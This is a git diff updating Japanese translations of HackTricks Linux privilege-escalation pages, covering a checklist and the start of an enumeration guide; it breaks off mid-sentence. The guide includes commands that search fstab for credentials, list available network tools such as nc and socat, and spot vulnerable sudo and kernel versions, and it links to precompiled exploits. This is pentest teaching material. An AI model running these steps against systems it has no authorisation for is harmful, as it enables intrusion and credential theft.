-複数の認証モジュールがあるセットアップでは、プロセスは厳密な順序に従います。`pam_securetty`モジュールがログイン端末を認証できないと判断した場合、rootログインがブロックされますが、その「必須」ステータスのため、すべてのモジュールが処理されます。`pam_env`は環境変数を設定し、ユーザーエクスペリエンスの向上に役立つ可能性があります。`pam_ldap`および`pam_unix`モジュールはユーザーの認証に協力し、`pam_unix`は以前に提供されたパスワードを使用しようとします。これにより、認証方法の効率性と柔軟性が向上します。 +複数の認証モジュールを持つセットアップでは、プロセスは厳密な順序に従います。`pam_securetty`モジュールがログイン端末を認証できないと判断した場合、rootログインがブロックされますが、その「必須」ステータスのため、すべてのモジュールが処理されます。`pam_env`は環境変数を設定し、ユーザーエクスペリエンスの向上に役立つ可能性があります。`pam_ldap`および`pam_unix`モジュールはユーザーの認証に協力し、`pam_unix`は以前に提供されたパスワードを使用しようとします。これにより、認証方法の効率性と柔軟性が向上します。 -## 参考文献 -* [https://hotpotato.tistory.com/434](https://hotpotato.tistory.com/434) +### 参考文献 +- [https://hotpotato.tistory.com/434](https://hotpotato.tistory.com/434) -### [WhiteIntel](https://whiteintel.io) +#### [WhiteIntel](https://whiteintel.io) -
+
-[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を活用した検索エンジンであり、企業やその顧客が**スティーラーマルウェア**によって**侵害**されていないかをチェックするための**無料**機能を提供しています。 +[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を活用した検索エンジンで、企業やその顧客が**スティーラーマルウェア**によって**侵害**されていないかをチェックする**無料**機能を提供しています。 WhiteIntelの主な目標は、情報窃取マルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。 @@ -86,17 +88,16 @@ WhiteIntelの主な目標は、情報窃取マルウェアによるアカウン {% embed url="https://whiteintel.io" %} -
-ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)! +ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) HackTricksをサポートする他の方法: -* **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つける -* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)をフォローする -* **HackTricks**および**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有する +- **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +- [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を手に入れる +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つける +- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)をフォローする +- **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
diff --git a/linux-hardening/linux-privilege-escalation-checklist.md b/linux-hardening/linux-privilege-escalation-checklist.md index b09dd7aa9..d488ccf9f 100644 --- a/linux-hardening/linux-privilege-escalation-checklist.md +++ b/linux-hardening/linux-privilege-escalation-checklist.md @@ -2,182 +2,181 @@
-htARTE(HackTricks AWS Red Team Expert)で**ゼロからヒーローまでのAWSハッキングを学ぶ** +htARTE(HackTricks AWS Red Team Expert)を使って、AWSハッキングをゼロからヒーローまで学ぶ HackTricksをサポートする他の方法: -- **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手 -- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける -- **Discordグループ**に参加したり、[**Telegramグループ**](https://t.me/peass)に参加したり、**Twitter**で**フォロー**する🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。** -- **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。 +- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +- [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る +- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[Telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)をフォローする +- **HackTricks**と**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する
-
+
-経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加しましょう! +[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加して、経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取りましょう! **ハッキングの洞察**\ -ハッキングのスリルとチャレンジに深く入り込むコンテンツに参加 +ハッキングのスリルとチャレンジに深く入り込むコンテンツに参加しましょう **リアルタイムハックニュース**\ -リアルタイムのニュースと情報を通じてハッキングの世界を最新の状態に保つ +リアルタイムのニュースと洞察を通じて、ハッキングの世界を最新の状態に保ちましょう **最新のアナウンスメント**\ -最新のバグバウンティの開始や重要なプラットフォームの更新情報を把握 +最新のバグバウンティの開始や重要なプラットフォームのアップデートについて情報を得ましょう -**Discord**で[**参加**](https://discord.com/invite/N3FrSbmwdy)して、今日からトップハッカーと協力を始めましょう! +**Discord**で[**参加**](https://discord.com/invite/N3FrSbmwdy)し、今日からトップハッカーと協力しましょう! ### **Linuxローカル特権昇格ベクターを探すための最良のツール:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) ### [システム情報](privilege-escalation/#system-information) -- [ ] **OS情報**を取得する +- [ ] **OS情報を取得** - [ ] [**PATH**](privilege-escalation/#path)をチェックし、**書き込み可能なフォルダ**はあるか? - [ ] [**環境変数**](privilege-escalation/#env-info)をチェックし、機密情報はあるか? - [ ] スクリプトを使用して[**カーネルの脆弱性**](privilege-escalation/#kernel-exploits)を検索する(DirtyCowなど) -- [ ] [**sudoバージョンが脆弱**](privilege-escalation/#sudo-version)かどうかを**チェック** +- [ ] [**sudoバージョンが脆弱**](privilege-escalation/#sudo-version)かどうかをチェック - [ ] [**Dmesg**署名検証に失敗](privilege-escalation/#dmesg-signature-verification-failed) -- [ ] 他のシステム列挙([日付、システム統計、CPU情報、プリンタ](privilege-escalation/#more-system-enumeration)) -- [ ] [**さらなる防御策の列挙**](privilege-escalation/#enumerate-possible-defenses) +- [ ] その他のシステム列挙(日付、システム統計、CPU情報、プリンタ)を実行する[**(詳細はこちら)**](privilege-escalation/#more-system-enumeration) +- [ ] [さらなる防御策を列挙](privilege-escalation/#enumerate-possible-defenses) ### [ドライブ](privilege-escalation/#drives) -- [ ] マウントされたドライブをリストアップする +- [ ] マウントされたドライブをリストアップ - [ ] マウントされていないドライブはあるか? - [ ] fstabにクレデンシャルはあるか? ### [**インストールされたソフトウェア**](privilege-escalation/#installed-software) -- [ ] **インストールされた**[ **有用なソフトウェア**](privilege-escalation/#useful-software)をチェックする -- [ ] **インストールされた**[**脆弱なソフトウェア**](privilege-escalation/#vulnerable-software-installed)をチェックする +- [ ] **インストールされた**[ **有用なソフトウェア**](privilege-escalation/#useful-software)をチェック +- [ ] **インストールされた**[**脆弱なソフトウェア**](privilege-escalation/#vulnerable-software-installed)をチェック ### [プロセス](privilege-escalation/#processes) -- [ ] **不明なソフトウェアが実行**されているか? -- [ ] **適切でない権限で実行**されているソフトウェアはあるか? -- [ ] 実行中のプロセスの**脆弱性**を検索する(特に実行中のバージョン) +- [ ] **不明なソフトウェアが実行中**か? +- [ ] **必要以上の権限で実行されているソフトウェア**があるか? +- [ ] 実行中のプロセスの**脆弱性を検索**する(特に実行中のバージョン) - [ ] 実行中のプロセスのバイナリを**変更**できるか? -- [ ] プロセスを**監視**し、興味深いプロセスが頻繁に実行されていないかをチェックする -- [ ] 興味深い**プロセスメモリ**(パスワードが保存されている可能性のある場所)を**読み取る**ことができるか? +- [ ] プロセスを**監視**し、興味深いプロセスが頻繁に実行されていないか確認する +- [ ] 興味深い**プロセスメモリ**(パスワードが保存されている可能性がある場所)を**読み取る**ことができるか? ### [スケジュールされた/Cronジョブ?](privilege-escalation/#scheduled-jobs) - [ ] 一部のcronによって[**PATH** ](privilege-escalation/#cron-path)が変更され、書き込み可能になっているか? - [ ] クロンジョブに[**ワイルドカード** ](privilege-escalation/#cron-using-a-script-with-a-wildcard-wildcard-injection)があるか? -- [ ] 実行されている[**変更可能なスクリプト** ](privilege-escalation/#cron-script-overwriting-and-symlink)があるか、または**変更可能なフォルダ**にあるか? -- [ ] いくつかの**スクリプト**が非常に**頻繁に実行**されていることを検出しましたか?(1分、2分、または5分ごと) +- [ ] 実行されている[**変更可能なスクリプト** ](privilege-escalation/#cron-script-overwriting-and-symlink)があるか、または変更可能なフォルダ内にあるか? +- [ ] いくつかのスクリプトが非常に**頻繁に実行**されていることを検出しましたか?(1分、2分、5分ごと) ### [サービス](privilege-escalation/#services) -- [ ] **書き込み可能な .service** ファイルはあるか? -- [ ] **サービス**によって実行される**書き込み可能なバイナリ**はあるか? -- [ ] systemd PATHに**書き込み可能なフォルダ**はあるか? +- [ ] 書き込み可能な.serviceファイルはありますか? +- [ ] サービスによって実行される**書き込み可能なバイナリ**はありますか? +- [ ] systemd PATH内に**書き込み可能なフォルダ**はありますか? ### [タイマー](privilege-escalation/#timers) -- [ ] **書き込み可能なタイマー**はあるか? +- [ ] 書き込み可能な**タイマー**はありますか? ### [ソケット](privilege-escalation/#sockets) -- [ ] **書き込み可能な .socket** ファイルはあるか? -- [ ] 任意のソケットと**通信**できるか? -- [ ] 興味深い情報を持つ**HTTPソケット**はあるか? +- [ ] 書き込み可能な.socketファイルはありますか? +- [ ] 任意のソケットと**通信**できますか? +- [ ] 興味深い情報を持つ**HTTPソケット**はありますか? ### [D-Bus](privilege-escalation/#d-bus) -- [ ] 任意のD-Busと**通信**できるか? +- [ ] 任意のD-Busと**通信**できますか? ### [ネットワーク](privilege-escalation/#network) -- 自分がどこにいるかを知るためにネットワークを列挙する -- シェル内でアクセスできなかった**オープンポート**はあるか? -- `tcpdump`を使用してトラフィックを**スニッフ**できるか? +- ネットワークを列挙して、自分がどこにいるかを知る +- シェルを取得する前にアクセスできなかった**オープンポート**はありますか? +- `tcpdump`を使用してトラフィックを**スニッフィング**できますか? ### [ユーザー](privilege-escalation/#users) -- 一般的なユーザー/グループを**列挙**する +- 一般的なユーザー/グループを**列挙** - **非常に大きなUID**を持っていますか?**マシン**は**脆弱**ですか? - 所属しているグループを通じて特権を昇格できますか? - **クリップボード**のデータは? - パスワードポリシーは? -- 以前に発見した**すべての既知のパスワード**を使用して、**各**可能な**ユーザー**でログインしてみてください。パスワードなしでもログインできるかもしれません。 +- 以前に発見した**すべての既知のパスワード**を使用して、**各**可能な**ユーザー**でログインできるか試してください。パスワードなしでもログインできるかもしれません。 ### [書き込み可能なPATH](privilege-escalation/#writable-path-abuses) -- **PATH内のいくつかのフォルダに書き込み権限**がある場合、特権を昇格できるかもしれません +- PATH内の**いくつかのフォルダに書き込み権限**がある場合、特権を昇格できるかもしれません ### [SUDOおよびSUIDコマンド](privilege-escalation/#sudo-and-suid) -- **sudoで任意のコマンドを実行**できますか?それを使用して何かをルートとして**読み取り、書き込み、実行**できますか?([**GTFOBins**](https://gtfobins.github.io)) -- **悪用可能なSUIDバイナリ**はありますか?([**GTFOBins**](https://gtfobins.github.io)) -- [**sudo**コマンドが**パス**で**制限**されていますか? 制限を**バイパス**できますか](privilege-escalation/#sudo-execution-bypassing-paths)? -- [**パスが指定されていないSudo/SUIDバイナリ**](privilege-escalation/#sudo-command-suid-binary-without-command-path)はありますか? +- **sudoで任意のコマンドを実行**できますか?それを使用して、ルートとして**読み取り、書き込み、実行**できますか?([**GTFOBins**](https://gtfobins.github.io)) +- **悪用可能なSUIDバイナリ**がありますか?([**GTFOBins**](https://gtfobins.github.io)) +- [**sudo**コマンドが**パス**で**制限**されていますか?制限を**バイパス**できますか](privilege-escalation/#sudo-execution-bypassing-paths)? +- [**パスが指定されていないSudo/SUIDバイナリ**](privilege-escalation/#sudo-command-suid-binary-without-command-path)がありますか? - [**パスが指定されているSUIDバイナリ**](privilege-escalation/#suid-binary-with-command-path)はありますか?バイパス - [**LD\_PRELOAD脆弱性**](privilege-escalation/#ld\_preload) -- 書き込み可能なフォルダからのSUIDバイナリに**.soライブラリが不足**していますか? -- [**SUDOトークンが利用可能**](privilege-escalation/#reusing-sudo-tokens)ですか? [**SUDOトークンを作成**](privilege-escalation/#var-run-sudo-ts-less-than-username-greater-than)できますか? +- 書き込み可能なフォルダからのSUIDバイナリに**.soライブラリが不足**していますか?([**詳細はこちら**](privilege-escalation/#suid-binary-so-injection)) +- [**SUDOトークンが利用可能**](privilege-escalation/#reusing-sudo-tokens)ですか?[**SUDOトークンを作成**](privilege-escalation/#var-run-sudo-ts-less-than-username-greater-than)できますか? - [**sudoersファイルを読み取る**](privilege-escalation/#etc-sudoers-etc-sudoers-d)ことができますか? -- [**/etc/ld.so.conf.d/**を**変更**](privilege-escalation/#etc-ld-so-conf-d)できますか? +- [**/etc/ld.so.conf.d/**を**変更**できますか?([**詳細はこちら**](privilege-escalation/#etc-ld-so-conf-d)) - [**OpenBSD DOAS**](privilege-escalation/#doas)コマンド - ### [機能](privilege-escalation/#capabilities) -- 任意のバイナリに**予期しない機能**がありますか? +* [ ] どのバイナリにも**予期しない機能**がありますか? ### [ACL](privilege-escalation/#acls) -- 任意のファイルに**予期しないACL**がありますか? +* [ ] どのファイルにも**予期しないACL**がありますか? ### [オープンシェルセッション](privilege-escalation/#open-shell-sessions) -- **screen** -- **tmux** +* [ ] **screen** +* [ ] **tmux** ### [SSH](privilege-escalation/#ssh) -- **Debian**の[**OpenSSL予測可能なPRNG - CVE-2008-0166**](privilege-escalation/#debian-openssl-predictable-prng-cve-2008-0166) -- [**SSHの興味深い構成値**](privilege-escalation/#ssh-interesting-configuration-values) +* [ ] **Debian** [**OpenSSL Predictable PRNG - CVE-2008-0166**](privilege-escalation/#debian-openssl-predictable-prng-cve-2008-0166) +* [ ] [**SSH興味深い構成値**](privilege-escalation/#ssh-interesting-configuration-values) ### [興味深いファイル](privilege-escalation/#interesting-files) -- **プロファイルファイル** - 機密データを読み取ることができますか?特権昇格に書き込むことができますか? -- **passwd/shadowファイル** - 機密データを読み取ることができますか?特権昇格に書き込むことができますか? -- 一般的に興味深いフォルダをチェックして、機密データがないか確認します -- **奇妙な場所/所有ファイル**、アクセス権限を持っているか、または実行可能ファイルを変更できるかもしれません -- 最後の数分で**変更**されましたか -- **Sqlite DBファイル** -- **隠しファイル** -- **スクリプト/バイナリPATH** -- **Webファイル**(パスワード?) -- **バックアップ**? -- **パスワードを含む既知のファイル**:**Linpeas**と**LaZagne**を使用します -- **一般的な検索** +* [ ] **プロファイルファイル** - 機密データを読む?権限昇格に書き込む? +* [ ] **passwd/shadowファイル** - 機密データを読む?権限昇格に書き込む? +* [ ] **一般的に興味深いフォルダ**に機密データがあるかどうかを確認 +* [ ] **奇妙な場所/所有ファイル**、アクセス権があるか実行可能ファイルを変更できるかもしれません +* [ ] 最後の数分で**変更** +* [ ] **Sqlite DBファイル** +* [ ] **隠しファイル** +* [ ] **PATH内のスクリプト/バイナリ** +* [ ] **Webファイル**(パスワード?) +* [ ] **バックアップ**? +* [ ] **パスワードを含む既知のファイル**:**Linpeas**と**LaZagne**を使用 +* [ ] **一般的な検索** -### [**書き込み可能なファイル**](privilege-escalation/#writable-files) +### [**書き込み可能ファイル**](privilege-escalation/#writable-files) -- **Pythonライブラリを変更**して任意のコマンドを実行できますか? -- **ログファイルを変更**できますか? **Logtotten** exploit -- **/etc/sysconfig/network-scripts/**を変更できますか? Centos/Redhat exploit -- [**ini、int.d、systemd、rc.dファイルに書き込む**](privilege-escalation/#init-init-d-systemd-and-rc-d)ことができますか? +* [ ] **Pythonライブラリを変更**して任意のコマンドを実行できますか? +* [ ] **ログファイルを変更**できますか? **Logtotten** exploit +* [ ] **/etc/sysconfig/network-scripts/**を変更できますか? Centos/Redhat exploit +* [ ] [**ini、int.d、systemd、またはrc.dファイルに書き込むことができますか**](privilege-escalation/#init-init-d-systemd-and-rc-d)? ### [**その他のトリック**](privilege-escalation/#other-tricks) -- 特権を昇格するために**NFSを悪用**できますか? -- **制限的なシェルから脱出**する必要がありますか? +* [ ] [**特権を昇格するためにNFSを悪用できますか**](privilege-escalation/#nfs-privilege-escalation)? +* [ ] [**制限されたシェルから脱出する必要がありますか**](privilege-escalation/#escaping-from-restricted-shells)? -
+
-経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加しましょう! +[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) サーバーに参加して、経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取りましょう! **ハッキングの洞察**\ ハッキングのスリルとチャレンジに深く入り込むコンテンツに参加 **リアルタイムハックニュース**\ -リアルタイムのニュースと情報を通じてハッキングの世界を最新の状態に保つ +リアルタイムのニュースと洞察を通じて、ハッキングの世界を追いかける -**最新のアナウンスメント**\ -最新のバグバウンティの開始や重要なプラットフォームの更新情報を把握 +**最新の発表**\ +最新のバグバウンティの開始や重要なプラットフォームの更新に関する情報を入手 -**Discord**で[**参加**](https://discord.com/invite/N3FrSbmwdy)して、今日からトップハッカーと協力を始めましょう! +[**Discord**](https://discord.com/invite/N3FrSbmwdy) に参加して、今日からトップハッカーと協力しましょう! diff --git a/linux-hardening/privilege-escalation/README.md b/linux-hardening/privilege-escalation/README.md index aaa2a2e75..7017f894c 100644 --- a/linux-hardening/privilege-escalation/README.md +++ b/linux-hardening/privilege-escalation/README.md @@ -2,15 +2,15 @@
-**htARTE(HackTricks AWS Red Team Expert)** **からAWSハッキングをゼロからヒーローまで学ぶ** +ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) HackTricksをサポートする他の方法: - **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を入手する -- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける -- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)をフォローする -- **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する +- [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください +- **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)をフォローしてください。 +- **ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
@@ -26,7 +26,7 @@ cat /etc/os-release 2>/dev/null # universal on modern systems ``` ### パス -もし`PATH`変数の中のどこかのフォルダに**書き込み権限**があれば、いくつかのライブラリやバイナリを乗っ取ることができるかもしれません: +もし`PATH`変数の中の**任意のフォルダに書き込み権限がある**場合、いくつかのライブラリやバイナリを乗っ取ることができるかもしれません: ```bash echo $PATH ``` @@ -44,10 +44,10 @@ cat /proc/version uname -a searchsploit "Linux Kernel" ``` -良い脆弱なカーネルのリストとすでに**コンパイルされたエクスプロイト**はこちらで見つけることができます: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) および [exploitdb sploits](https://github.com/offensive-security/exploitdb-bin-sploits/tree/master/bin-sploits).\ -他のサイトでいくつかの**コンパイルされたエクスプロイト**を見つけることができる場所: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) +良い脆弱なカーネルのリストとすでに**コンパイルされたエクスプロイト**がこちらにあります: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) および [exploitdb sploits](https://github.com/offensive-security/exploitdb-bin-sploits/tree/master/bin-sploits).\ +いくつかの**コンパイルされたエクスプロイト**を見つけることができる他のサイト: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) -そのウェブサイトからすべての脆弱なカーネルバージョンを抽出するには、以下のコマンドを実行します: +そのウェブサイトからすべての脆弱なカーネルバージョンを抽出するには: ```bash curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' ' ``` @@ -75,7 +75,7 @@ https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c ```bash searchsploit sudo ``` -以下のgrepを使用して、sudoのバージョンが脆弱かどうかを確認できます。 +あなたは、このgrepを使用して、sudoのバージョンが脆弱かどうかを確認できます。 ```bash sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]" ``` @@ -114,29 +114,23 @@ fi ``` ### Grsecurity -### Grsecurity - Grsecurityは、Linuxカーネルのセキュリティ強化パッチであり、特権昇格攻撃に対する保護を提供します。 ```bash ((uname -r | grep "\-grsec" >/dev/null 2>&1 || grep "grsecurity" /etc/sysctl.conf >/dev/null 2>&1) && echo "Yes" || echo "Not found grsecurity") ``` ### PaX - -PaXは、Linuxカーネルにセキュリティ機能を追加するためのパッチです。これにより、メモリの保護、実行可能なメモリ領域の制限、およびその他のセキュリティ機能が強化されます。PaXは、特権昇格攻撃などの脆弱性を悪用する攻撃からシステムを保護するのに役立ちます。 ```bash (which paxctl-ng paxctl >/dev/null 2>&1 && echo "Yes" || echo "Not found PaX") ``` ### Execshield -Execshieldは、Linuxカーネルのセキュリティ機能の1つであり、スタックやヒープのオーバーフローからシステムを保護するために使用されます。これにより、悪意のあるコードが実行されることを防ぎ、特権昇格攻撃などの脅威からシステムを守ります。 +Execshieldは、Linuxカーネルのセキュリティ機能の1つであり、スタックやヒープのオーバーフローを防ぐために使用されます。これにより、悪意のあるコードが実行されることを防ぎ、特権昇格攻撃などの脅威からシステムを保護します。 ```bash (grep "exec-shield" /etc/sysctl.conf || echo "Not found Execshield") ``` ### SElinux -### SElinux - -SElinux(Security-Enhanced Linux)は、Linuxカーネルに組み込まれたセキュリティ機能であり、アクセス制御や強化された権限管理を提供します。SElinuxは、プロセスやファイルに対するアクセス権を厳密に制御し、特権昇格攻撃を防ぐのに役立ちます。 +SElinux(Security-Enhanced Linux)は、Linuxカーネルに組み込まれたセキュリティ機能の1つです。SElinuxは、アクセス制御と強化された権限管理を提供し、システムのセキュリティを向上させるのに役立ちます。 ```bash (sestatus 2>/dev/null || echo "Not found sestatus") ``` @@ -149,7 +143,7 @@ cat /proc/sys/kernel/randomize_va_space 2>/dev/null ``` ## Docker Breakout -Dockerコンテナ内にいる場合、そこから脱出を試みることができます: +Dockerコンテナ内にいる場合、それから脱出を試みることができます: {% content-ref url="docker-security/" %} [docker-security](docker-security/) @@ -166,18 +160,18 @@ grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc ``` ## 便利なソフトウェア -有用なバイナリを列挙 +有用なバイナリを列挙します ```bash which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null ``` -また、**インストールされているコンパイラ**を確認してください。これは、カーネルエクスプロイトを使用する必要がある場合に役立ちます。そのエクスプロイトをコンパイルすることが推奨されているため、それを使用するマシン(または類似のマシン)でコンパイルする必要があります。 +また、**インストールされているコンパイラ**を確認してください。これは、カーネルエクスプロイトを使用する必要がある場合に役立ちます。そのエクスプロイトをコンパイルすることが推奨されているため、そのマシンで(または類似のマシンで)コンパイルする必要があります。 ```bash (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/") ``` ### 脆弱なソフトウェアのインストール **インストールされたパッケージやサービスのバージョン**を確認してください。たとえば古いNagiosバージョンなど、特権昇格に悪用される可能性があるかもしれません...\ -より疑わしいインストールされたソフトウェアのバージョンを手動で確認することをお勧めします。 +より疑わしいインストールされたソフトウェアのバージョンを手動で確認することを推奨します。 ```bash dpkg -l #Debian rpm -qa #Centos @@ -190,39 +184,39 @@ _これらのコマンドはほとんど役に立たない情報を表示する ## プロセス -**実行されているプロセス**を確認し、**それ以上の権限を持つプロセス**がないかをチェックしてください(たとえば、rootユーザーによって実行されているtomcatなど)。 +**実行されているプロセス**を確認し、**適切な権限よりも多くの権限を持つプロセス**がないかをチェックしてください(たとえば、rootユーザーによって実行されているtomcatなど)。 ```bash ps aux ps -ef top -n 1 ``` -常に実行中の **electron/cef/chromium デバッガー** をチェックしてください。特権昇格に悪用される可能性があります。**Linpeas** は、プロセスのコマンドライン内に `--inspect` パラメータがあるかどうかをチェックしてこれらを検出します。\ +常に実行中の[**electron/cef/chromium debuggers**](electron-cef-chromium-debugger-abuse.md)を確認してください。特権を昇格するために悪用できる可能性があります。**Linpeas**は、プロセスのコマンドライン内に`--inspect`パラメータがあるかどうかをチェックしてこれらを検出します。\ また、**プロセスのバイナリに対する特権を確認**してください。他のユーザーのものを上書きできるかもしれません。 ### プロセスの監視 -[**pspy**](https://github.com/DominicBreuker/pspy) のようなツールを使用してプロセスを監視できます。これは、脆弱なプロセスが頻繁に実行されているか、一連の要件が満たされたときに特に役立ちます。 +[**pspy**](https://github.com/DominicBreuker/pspy)などのツールを使用してプロセスを監視できます。これは、脆弱なプロセスが頻繁に実行されているか、一連の要件が満たされたときに特に役立ちます。 ### プロセスメモリ サーバーの一部のサービスは、**メモリ内に平文で資格情報を保存**します。\ -通常、他のユーザーに属するプロセスのメモリを読むには **root 権限** が必要です。そのため、既に root 権限を持っている場合に追加の資格情報を発見したいときに特に役立ちます。\ -ただし、**通常のユーザーとして、所有するプロセスのメモリを読むことができます**。 +通常、他のユーザーに属するプロセスのメモリを読むには**root権限**が必要です。そのため、既にrootであり、さらに資格情報を発見したい場合に通常よりも有用です。\ +ただし、**通常のユーザーとして、所有するプロセスのメモリを読むことができる**ことを覚えておいてください。 {% hint style="warning" %} -現在、ほとんどのマシンは **デフォルトで ptrace を許可していない** ことに注意してください。つまり、特権のないユーザーに属する他のプロセスをダンプすることはできません。 +現在、ほとんどのマシンは**デフォルトでptraceを許可していない**ことに注意してください。つまり、特権のないユーザーに属する他のプロセスをダンプすることはできません。 -ファイル _**/proc/sys/kernel/yama/ptrace\_scope**_ は ptrace のアクセス可能性を制御します: +ファイル _**/proc/sys/kernel/yama/ptrace\_scope**_ は、ptraceのアクセス可能性を制御します: -* **kernel.yama.ptrace\_scope = 0**: 同じ uid を持つプロセスであればすべてデバッグできます。これが ptrace の古典的な動作方法です。 -* **kernel.yama.ptrace\_scope = 1**: 親プロセスのみがデバッグできます。 -* **kernel.yama.ptrace\_scope = 2**: 管理者のみが ptrace を使用できます。CAP\_SYS\_PTRACE 機能が必要です。 -* **kernel.yama.ptrace\_scope = 3**: ptrace でプロセスをトレースできません。一度設定すると、再起動して ptrace を再度有効にする必要があります。 +* **kernel.yama.ptrace\_scope = 0**: 同じuidを持つプロセスであれば、すべてのプロセスをデバッグできます。これがptracingが機能する古典的な方法です。 +* **kernel.yama.ptrace\_scope = 1**: 親プロセスのみをデバッグできます。 +* **kernel.yama.ptrace\_scope = 2**: 管理者のみがptraceを使用できます。CAP\_SYS\_PTRACE機能が必要です。 +* **kernel.yama.ptrace\_scope = 3**: 